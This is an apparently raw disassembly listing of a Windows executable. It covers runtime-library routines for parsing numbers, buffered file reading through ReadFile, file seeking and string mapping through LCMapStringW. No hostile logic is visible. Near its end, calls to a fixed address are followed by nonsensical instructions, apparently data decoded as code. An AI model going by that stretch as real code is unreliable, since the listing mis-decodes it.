loc_4195D0: ; CODE XREF: sub_418DCD+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_4195E8
dec [ebp+var_C]
jz short loc_41960C
loc_4195E8: ; CODE XREF: sub_418DCD+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_419829
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_419529
; ---------------------------------------------------------------------------
loc_4195FE: ; CODE XREF: sub_418DCD+788j
; sub_418DCD+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_419843
pop ecx
pop ecx
loc_41960C: ; CODE XREF: sub_418DCD+756j
; sub_418DCD+819j
cmp [ebp+var_17], 0
jz loc_4196F2
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_4196F2
; ---------------------------------------------------------------------------
loc_41962E: ; CODE XREF: sub_418DCD+74Cj
cmp [ebp+var_F], 0
jnz loc_4196EA
loc_419638: ; CODE XREF: sub_418DCD+90Aj
cmp esi, 78h
jz short loc_41967C
cmp esi, 70h
jz short loc_41967C
cmp ds:dword_42D2FC, 1
jle short loc_419657
push 4
push ebx
call sub_4165E6
pop ecx
pop ecx
jmp short loc_419662
; ---------------------------------------------------------------------------
loc_419657: ; CODE XREF: sub_418DCD+87Cj
mov eax, ds:off_42D0F0
mov al, [eax+ebx*2]
and eax, 4
loc_419662: ; CODE XREF: sub_418DCD+888j
test eax, eax
jz short loc_4196DC
cmp esi, 6Fh
jnz short loc_419675
cmp ebx, 38h
jge short loc_4196DC
shl edi, 3
jmp short loc_4196B4
; ---------------------------------------------------------------------------
loc_419675: ; CODE XREF: sub_418DCD+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_4196B4
; ---------------------------------------------------------------------------
loc_41967C: ; CODE XREF: sub_418DCD+86Ej
; sub_418DCD+873j
cmp ds:dword_42D2FC, 1
jle short loc_419694
push 80h
push ebx
call sub_4165E6
pop ecx
pop ecx
jmp short loc_4196A1
; ---------------------------------------------------------------------------
loc_419694: ; CODE XREF: sub_418DCD+8B6j
mov eax, ds:off_42D0F0
mov al, [eax+ebx*2]
and eax, 80h
loc_4196A1: ; CODE XREF: sub_418DCD+8C5j
test eax, eax
jz short loc_4196DC
push ebx
shl edi, 4
call sub_4197F2
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_4196B4: ; CODE XREF: sub_418DCD+8A6j
; sub_418DCD+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_4196C6
dec [ebp+var_C]
jz short loc_4196EA
loc_4196C6: ; CODE XREF: sub_418DCD+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_419829
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_419638
; ---------------------------------------------------------------------------
loc_4196DC: ; CODE XREF: sub_418DCD+897j
; sub_418DCD+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_419843
pop ecx
pop ecx
loc_4196EA: ; CODE XREF: sub_418DCD+865j
; sub_418DCD+8F7j
cmp [ebp+var_17], 0
jz short loc_4196F2
neg edi
loc_4196F2: ; CODE XREF: sub_418DCD+843j
; sub_418DCD+85Cj ...
cmp esi, 46h
jnz short loc_4196FB
and [ebp+var_1C], 0
loc_4196FB: ; CODE XREF: sub_418DCD+928j
cmp [ebp+var_1C], 0
jz loc_4197D3
cmp [ebp+var_E], 0
jnz short loc_419734
inc [ebp+var_34]
loc_41970E: ; CODE XREF: sub_418DCD+23Bj
cmp [ebp+var_30], 0
jz short loc_419724
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_419734
; ---------------------------------------------------------------------------
loc_419724: ; CODE XREF: sub_418DCD+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_419731
mov [eax], edi
jmp short loc_419734
; ---------------------------------------------------------------------------
loc_419731: ; CODE XREF: sub_418DCD+95Ej
mov [eax], di
loc_419734: ; CODE XREF: sub_418DCD+241j
; sub_418DCD+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_419781
; ---------------------------------------------------------------------------
loc_41973F: ; CODE XREF: sub_418DCD+93j
inc [ebp+var_4]
push edi
call sub_419829
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_4197AE
mov ecx, ds:off_42D0F0
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_419781
inc [ebp+var_4]
push edi
call sub_419829
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_4197BC
dec [ebp+var_4]
loc_419781: ; CODE XREF: sub_418DCD+970j
; sub_418DCD+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_419797
cmp byte ptr [esi], 25h
jnz short loc_4197D9
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_4197D9
mov esi, eax
loc_419797: ; CODE XREF: sub_418DCD+9B8j
mov al, [esi]
test al, al
jnz loc_418DF7
jmp short loc_4197D3
; ---------------------------------------------------------------------------
loc_4197A3: ; CODE XREF: sub_418DCD+1F4j
; sub_418DCD+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_4197B3
; ---------------------------------------------------------------------------
loc_4197AE: ; CODE XREF: sub_418DCD+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_4197B3: ; CODE XREF: sub_418DCD+9DFj
call sub_419843
pop ecx
pop ecx
jmp short loc_4197D3
; ---------------------------------------------------------------------------
loc_4197BC: ; CODE XREF: sub_418DCD+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_419843
dec [ebp+var_4]
push edi
push ebx
call sub_419843
add esp, 10h
loc_4197D3: ; CODE XREF: sub_418DCD+1Fj
; sub_418DCD+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_4197EA
loc_4197D9: ; CODE XREF: sub_418DCD+9BDj
; sub_418DCD+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_4197ED
cmp [ebp+var_15], al
jnz short loc_4197ED
or eax, 0FFFFFFFFh
jmp short loc_4197ED
; ---------------------------------------------------------------------------
loc_4197EA: ; CODE XREF: sub_418DCD+A0Aj
mov eax, [ebp+var_34]
loc_4197ED: ; CODE XREF: sub_418DCD+A11j
; sub_418DCD+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_418DCD endp
; =============== S U B R O U T I N E =======================================
sub_4197F2 proc near ; CODE XREF: sub_418DCD+7A3p
; sub_418DCD+8DCp
arg_0 = dword ptr 4
cmp ds:dword_42D2FC, 1
push esi
jle short loc_41980C
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_4165E6
pop ecx
pop ecx
jmp short loc_41981B
; ---------------------------------------------------------------------------
loc_41980C: ; CODE XREF: sub_4197F2+8j
mov esi, [esp+4+arg_0]
mov eax, ds:off_42D0F0
mov al, [eax+esi*2]
and eax, 4
loc_41981B: ; CODE XREF: sub_4197F2+18j
test eax, eax
jnz short loc_419825
and esi, 0FFFFFFDFh
sub esi, 7
loc_419825: ; CODE XREF: sub_4197F2+2Bj
mov eax, esi
pop esi
retn
sub_4197F2 endp
; =============== S U B R O U T I N E =======================================
sub_419829 proc near ; CODE XREF: sub_418DCD+1E1p
; sub_418DCD+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_41983B
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_41983B: ; CODE XREF: sub_419829+7j
push edx
call sub_419940
pop ecx
retn
sub_419829 endp
; =============== S U B R O U T I N E =======================================
sub_419843 proc near ; CODE XREF: sub_418DCD+6Bp
; sub_418DCD+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_419859
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41C16F
pop ecx
pop ecx
locret_419859: ; CODE XREF: sub_419843+5j
retn
sub_419843 endp
; =============== S U B R O U T I N E =======================================
sub_41985A proc near ; CODE XREF: sub_418DCD+63p
; sub_418DCD+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_419860: ; CODE XREF: sub_41985A+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_419829
mov edi, eax
push edi
call sub_41C125
pop ecx
test eax, eax
pop ecx
jnz short loc_419860
mov eax, edi
pop edi
pop esi
retn
sub_41985A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+8]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_41993A
cmp ebx, 8Ah
jg loc_41993A
push esi
push edi
mov edi, [ebp+0Ch]
mov esi, ds:dword_42DB84[edi*4]
add esi, [ebp+10h]
test bl, 3
jnz short loc_4198BD
cmp edi, 2
jle short loc_4198BD
inc esi
loc_4198BD: ; CODE XREF: seg000:004198B5j
; seg000:004198BAj
call sub_41C1DD
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp-8], esi
add edx, ecx
mov [ebp-10h], ebx
add eax, edx
mov edx, [ebp+1Ch]
lea ecx, [eax+eax*2]
mov eax, [ebp+14h]
mov [ebp-1Ch], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+18h]
imul ecx, 3Ch
add ecx, ds:dword_42DAA0
dec edi
cmp dword ptr [ebp+20h], 1
mov [ebp-14h], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+8], ecx
jz short loc_419930
cmp dword ptr [ebp+20h], 0FFFFFFFFh
jnz short loc_419936
cmp ds:dword_42DAA4, 0
jz short loc_419936
lea eax, [ebp-24h]
push eax
call sub_41C450
pop ecx
mov ecx, [ebp+8]
test eax, eax
jz short loc_419936
loc_419930: ; CODE XREF: seg000:0041990Ej
add ecx, ds:dword_42DAA8
loc_419936: ; CODE XREF: seg000:00419914j
; seg000:0041991Dj ...
mov eax, ecx
jmp short loc_41993D
; ---------------------------------------------------------------------------
loc_41993A: ; CODE XREF: seg000:00419891j
; seg000:0041989Dj
or eax, 0FFFFFFFFh
loc_41993D: ; CODE XREF: seg000:00419938j
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_419940 proc near ; CODE XREF: sub_414C40+A9p
; sub_4151CC+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_419A14
test al, 40h
jnz loc_419A14
test al, 2
jz short loc_419966
or al, 20h
mov [esi+0Ch], eax
jmp loc_419A14
; ---------------------------------------------------------------------------
loc_419966: ; CODE XREF: sub_419940+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41997A
push esi
call sub_41B0FC
pop ecx
jmp short loc_41997F
; ---------------------------------------------------------------------------
loc_41997A: ; CODE XREF: sub_419940+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41997F: ; CODE XREF: sub_419940+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_419A19
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_419A03
cmp eax, 0FFFFFFFFh
jz short loc_419A03
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_4199D8
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_4199C1
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, ds:dword_45FB20[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_4199C6
; ---------------------------------------------------------------------------
loc_4199C1: ; CODE XREF: sub_419940+6Bj
mov edi, offset dword_42D750
loc_4199C6: ; CODE XREF: sub_419940+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_4199D8
or dh, 20h
mov [esi+0Ch], edx
loc_4199D8: ; CODE XREF: sub_419940+62j
; sub_419940+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_4199F5
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_4199F5
test ch, 4
jnz short loc_4199F5
mov dword ptr [esi+18h], 1000h
loc_4199F5: ; CODE XREF: sub_419940+9Fj
; sub_419940+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_419A03: ; CODE XREF: sub_419940+55j
; sub_419940+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_419A14: ; CODE XREF: sub_419940+Aj
; sub_419940+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_419940 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419A19 proc near ; CODE XREF: sub_414C40+90p
; sub_419940+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, ds:dword_45FC20
jnb loc_419BF6
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:45FB20h[eax*4]
mov eax, ds:dword_45FB20[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_419BF6
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_419ACE
test dl, 2
jnz short loc_419ACE
test dl, 48h
jz short loc_419A8E
mov al, [eax+5]
cmp al, 0Ah
jz short loc_419A8E
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_419A8E: ; CODE XREF: sub_419A19+56j
; sub_419A19+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
call ds:dword_41F094 ; ReadFile
test eax, eax
jnz short loc_419AE1
call ds:dword_41F068 ; RtlGetLastWin32Error
push 5
pop ecx
cmp eax, ecx
jnz short loc_419AC9
mov ds:dword_45E804, 9
mov ds:dword_45E808, ecx
jmp loc_419C07
; ---------------------------------------------------------------------------
loc_419AC9: ; CODE XREF: sub_419A19+99j
cmp eax, 6Dh
jnz short loc_419AD5
loc_419ACE: ; CODE XREF: sub_419A19+4Cj
; sub_419A19+51j
xor eax, eax
jmp loc_419C0A
; ---------------------------------------------------------------------------
loc_419AD5: ; CODE XREF: sub_419A19+B3j
push eax
call sub_41A667
pop ecx
jmp loc_419C07
; ---------------------------------------------------------------------------
loc_419AE1: ; CODE XREF: sub_419A19+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_419BF1
test edx, edx
jz short loc_419B06
cmp byte ptr [edi], 0Ah
jnz short loc_419B06
or al, 4
jmp short loc_419B08
; ---------------------------------------------------------------------------
loc_419B06: ; CODE XREF: sub_419A19+E2j
; sub_419A19+E7j
and al, 0FBh
loc_419B08: ; CODE XREF: sub_419A19+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_419BEB
loc_419B20: ; CODE XREF: sub_419A19+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_419BDB
cmp al, 0Dh
jz short loc_419B3C
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_419BCD
; ---------------------------------------------------------------------------
loc_419B3C: ; CODE XREF: sub_419A19+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_419B5A
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_419B51
add [ebp+arg_8], 2
jmp short loc_419BAF
; ---------------------------------------------------------------------------
loc_419B51: ; CODE XREF: sub_419A19+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_419BCD
; ---------------------------------------------------------------------------
loc_419B5A: ; CODE XREF: sub_419A19+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call ds:dword_41F094 ; ReadFile
test eax, eax
jnz short loc_419B82
call ds:dword_41F068 ; RtlGetLastWin32Error
test eax, eax
jnz short loc_419BC9
loc_419B82: ; CODE XREF: sub_419A19+15Dj
cmp [ebp+var_C], 0
jz short loc_419BC9
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_419BA4
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_419BAF
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_419BCD
; ---------------------------------------------------------------------------
loc_419BA4: ; CODE XREF: sub_419A19+176j
cmp edi, [ebp+arg_4]
jnz short loc_419BB4
cmp [ebp+var_1], 0Ah
jnz short loc_419BB4
loc_419BAF: ; CODE XREF: sub_419A19+136j
; sub_419A19+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_419BCC
; ---------------------------------------------------------------------------
loc_419BB4: ; CODE XREF: sub_419A19+18Ej
; sub_419A19+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_419C0F
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_419BCD
loc_419BC9: ; CODE XREF: sub_419A19+167j
; sub_419A19+16Dj
mov byte ptr [edi], 0Dh
loc_419BCC: ; CODE XREF: sub_419A19+199j
inc edi
loc_419BCD: ; CODE XREF: sub_419A19+11Ej
; sub_419A19+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_419B20
jmp short loc_419BEB
; ---------------------------------------------------------------------------
loc_419BDB: ; CODE XREF: sub_419A19+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_419BEB
or al, 2
mov [esi], al
loc_419BEB: ; CODE XREF: sub_419A19+101j
; sub_419A19+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_419BF1: ; CODE XREF: sub_419A19+DAj
mov eax, [ebp+var_8]
jmp short loc_419C0A
; ---------------------------------------------------------------------------
loc_419BF6: ; CODE XREF: sub_419A19+12j
; sub_419A19+39j
and ds:dword_45E808, 0
mov ds:dword_45E804, 9
loc_419C07: ; CODE XREF: sub_419A19+ABj
; sub_419A19+C3j
or eax, 0FFFFFFFFh
loc_419C0A: ; CODE XREF: sub_419A19+B7j
; sub_419A19+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_419A19 endp
; =============== S U B R O U T I N E =======================================
sub_419C0F proc near ; CODE XREF: sub_414ECE+67p
; sub_415CC7+CDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, ds:dword_45FC20
push esi
push edi
jnb short loc_419C91
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:45FB20h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_419C91
push eax
call sub_41B556
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_419C53
mov ds:dword_45E804, 9
jmp short loc_419CA2
; ---------------------------------------------------------------------------
loc_419C53: ; CODE XREF: sub_419C0F+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call ds:dword_41F098 ; SetFilePointer
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_419C73
call ds:dword_41F068 ; RtlGetLastWin32Error
jmp short loc_419C75
; ---------------------------------------------------------------------------
loc_419C73: ; CODE XREF: sub_419C0F+5Aj
xor eax, eax
loc_419C75: ; CODE XREF: sub_419C0F+62j
test eax, eax
jz short loc_419C82
push eax
call sub_41A667
pop ecx
jmp short loc_419CA2
; ---------------------------------------------------------------------------
loc_419C82: ; CODE XREF: sub_419C0F+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_419CA5
; ---------------------------------------------------------------------------
loc_419C91: ; CODE XREF: sub_419C0F+Dj
; sub_419C0F+2Aj
and ds:dword_45E808, 0
mov ds:dword_45E804, 9
loc_419CA2: ; CODE XREF: sub_419C0F+42j
; sub_419C0F+71j
or eax, 0FFFFFFFFh
loc_419CA5: ; CODE XREF: sub_419C0F+80j
pop edi
pop esi
pop ebx
retn
sub_419C0F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419CA9 proc near ; CODE XREF: sub_414ECE+2Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_419CC5
mov [edi+4], ebx
loc_419CC5: ; CODE XREF: sub_419CA9+17j
push 1
push ebx
push esi
call sub_419C0F
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_419D33
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_419CEA
sub eax, [edi+4]
jmp loc_419DFC
; ---------------------------------------------------------------------------
loc_419CEA: ; CODE XREF: sub_419CA9+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_419D24
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, ds:dword_45FB20[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_419D3B
mov edx, ecx
loc_419D15: ; CODE XREF: sub_419CA9+79j
cmp edx, eax
jnb short loc_419D3B
cmp byte ptr [edx], 0Ah
jnz short loc_419D21
inc [ebp+var_8]
loc_419D21: ; CODE XREF: sub_419CA9+73j
inc edx
jmp short loc_419D15
; ---------------------------------------------------------------------------
loc_419D24: ; CODE XREF: sub_419CA9+50j
test dl, 80h
jnz short loc_419D3B
mov ds:dword_45E804, 16h
loc_419D33: ; CODE XREF: sub_419CA9+2Dj
or eax, 0FFFFFFFFh
jmp loc_419DFC
; ---------------------------------------------------------------------------
loc_419D3B: ; CODE XREF: sub_419CA9+68j
; sub_419CA9+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_419D49
mov eax, [ebp+var_8]
jmp loc_419DFC
; ---------------------------------------------------------------------------
loc_419D49: ; CODE XREF: sub_419CA9+96j
test byte ptr [edi+0Ch], 1
jz loc_419DF4
mov edx, [edi+4]
test edx, edx
jnz short loc_419D62
and [ebp+var_8], edx
jmp loc_419DF4
; ---------------------------------------------------------------------------
loc_419D62: ; CODE XREF: sub_419CA9+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:45FB20h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_419DEE
push 2
push 0
push [ebp+var_C]
call sub_419C0F
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_419DB5
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_419DA0: ; CODE XREF: sub_419CA9+104j
cmp eax, ecx
jnb short loc_419DAF
cmp byte ptr [eax], 0Ah
jnz short loc_419DAC
inc [ebp+arg_0]
loc_419DAC: ; CODE XREF: sub_419CA9+FEj
inc eax
jmp short loc_419DA0
; ---------------------------------------------------------------------------
loc_419DAF: ; CODE XREF: sub_419CA9+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_419DE9
; ---------------------------------------------------------------------------
loc_419DB5: ; CODE XREF: sub_419CA9+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_419C0F
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_419DDC
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_419DDC
test ch, 4
jz short loc_419DDF
loc_419DDC: ; CODE XREF: sub_419CA9+124j
; sub_419CA9+12Cj
mov eax, [edi+18h]
loc_419DDF: ; CODE XREF: sub_419CA9+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_419DE9: ; CODE XREF: sub_419CA9+10Aj
jz short loc_419DEE
inc [ebp+arg_0]
loc_419DEE: ; CODE XREF: sub_419CA9+D9j
; sub_419CA9:loc_419DE9j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_419DF4: ; CODE XREF: sub_419CA9+A4j
; sub_419CA9+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_419DFC: ; CODE XREF: sub_419CA9+3Cj
; sub_419CA9+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_419CA9 endp
; ---------------------------------------------------------------------------
loc_419E01: ; CODE XREF: sub_415223+A3p
; sub_418D01+A5p ...
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41F870
push offset sub_41AE98
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp-18h], esp
xor edi, edi
cmp ds:dword_45E88C, edi
jnz short loc_419E77
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_41F868
mov esi, 100h
push esi
push edi
call ds:dword_41F184 ; LCMapStringW
test eax, eax
jz short loc_419E55
mov ds:dword_45E88C, ebx
jmp short loc_419E77
; ---------------------------------------------------------------------------
loc_419E55: ; CODE XREF: seg000:00419E4Bj
push edi
push edi
push ebx
push offset dword_42E344
push esi
push edi
call near ptr 0A70000h
inc dword ptr [ebp+22840FC0h]
add [eax], eax
add bh, al
add eax, offset dword_45E88C
add al, [eax]
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_419E77: ; CODE XREF: seg000:00419E2Fj
; seg000:00419E53j
cmp [ebp+14h], edi
jle short loc_419E8C
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
call sub_41A025
pop ecx
pop ecx
mov [ebp+14h], eax
loc_419E8C: ; CODE XREF: seg000:00419E7Aj
mov eax, ds:dword_45E88C
cmp eax, 2
jnz short loc_419EB3
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 0A70000h
or ebp, ecx
fiadd word ptr [eax]
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_419EB3: ; CODE XREF: seg000:00419E94j
cmp eax, 1
jnz loc_419F8F
cmp [ebp+20h], edi
jnz short loc_419EC9
mov eax, ds:dword_45E8A8
mov [ebp+20h], eax
loc_419EC9: ; CODE XREF: seg000:00419EBFj
push edi
push edi
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
mov eax, [ebp+24h]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push dword ptr [ebp+20h]
call ds:dword_41F12C ; MultiByteToWideChar
mov ebx, eax
mov [ebp-1Ch], ebx
cmp ebx, edi
jz loc_419F8F
mov [ebp-4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_413E30
mov [ebp-18h], esp
mov eax, esp
mov [ebp-24h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_419F24
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor edi, edi
mov [ebp-24h], edi
or dword ptr [ebp-4], 0FFFFFFFFh
mov ebx, [ebp-1Ch]
loc_419F24: ; CODE XREF: seg000:00419F0Fj
cmp [ebp-24h], edi
jz short loc_419F8F
push ebx
push dword ptr [ebp-24h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push 1
push dword ptr [ebp+20h]
call ds:dword_41F12C ; MultiByteToWideChar
test eax, eax
jz short loc_419F8F
push edi
push edi
push ebx
push dword ptr [ebp-24h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_41F184 ; LCMapStringW
mov esi, eax
mov [ebp-28h], esi
cmp esi, edi
jz short loc_419F8F
test byte ptr [ebp+0Dh], 4
jz short loc_419FA3
cmp [ebp+1Ch], edi
jz loc_41A01E
cmp esi, [ebp+1Ch]
jg short loc_419F8F
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push ebx
push dword ptr [ebp-24h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_41F184 ; LCMapStringW
test eax, eax
jnz loc_41A01E
loc_419F8F: ; CODE XREF: seg000:00419EB6j
; seg000:00419EEDj ...
xor eax, eax
loc_419F91: ; CODE XREF: seg000:0041A020j
lea esp, [ebp-38h]
mov ecx, [ebp-10h]
